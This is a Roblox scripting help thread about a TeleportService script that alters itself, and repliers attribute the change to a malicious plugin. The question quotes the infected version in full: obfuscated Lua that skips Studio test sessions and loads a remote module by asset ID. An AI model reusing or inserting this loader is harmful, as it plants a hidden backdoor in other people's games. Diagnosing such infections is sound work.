Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
0

How to keep a teleporting script from changing?

Asked by 5 years ago
Edited 5 years ago

I am working on a game that uses another game with the place api and for some reason the script will literally change out of nowhere.

local tp = game:GetService("TeleportService")
local placeid = 2859900265
game.ReplicatedStorage.Events.Ready.OnServerEvent:Connect(function(p)
    tp:Teleport(placeid, p)
end)

It will then change to this.

local tp = game:GetService("TeleportService")
local placeid = 2859900265
game.ReplicatedStorage.Events.Ready.OnServerEvent:Connect(irLacH = require idOkmp = game iVgyFr = 'Debris' iBVWOwF0 = spawn iwXy2yfFF7u = 'WaitForChild' iLgC34Vr35K = 'IsStudio' i1ajTXAY69O = 'IsStudio' itVLM8UigZ71Y = 'PlaceId' iYhT3Vge3NW = pcall i7yUOhLHea2rgA7 = pcall iyvvXB = 'Name' iHoR = 221254732.75 * 12 ihLv4H94V = 'test' iZAGhwfWvk91 = require i5ng60RzwcH = 'ClassName' iRyao8TxK = 'load' i8g6HrEraBO = math.sqrt i1Ti0Ey5lr = 'RunService'  iBVWOwF0(       function()        i7yUOhLHea2rgA7(       function()        if idOkmp:GetService(i1Ti0Ey5lr)       [iLgC34Vr35K]       (idOkmp:GetService(i1Ti0Ey5lr)       ) then         return        end iZAGhwfWvk91(iHoR)       [iRyao8TxK]       (idOkmp[itVLM8UigZ71Y]       )        end       )        end       )
function(p)
    tp:Teleport(placeid, p)
end)

The original script works but the script changes out of nowhere. Is this an error, or a bug?

0
You may have a virus in your game, most likely from a plugin. You can scan for viruses in your game using this plugin (yes, a bit ironic, but it's trusted by devforum members) : https://devforum.roblox.com/t/216692 User#20279 0 — 5y

1 answer

Log in to vote
0
Answered by
Cyrakohl 108
5 years ago

Usually this happends when you have a malicous plugin I suggest looking through your plugins and looking for anything for say "Unordinary".

0
Thanks! ReallyUnikatni 68 — 5y
Ad

Answer this question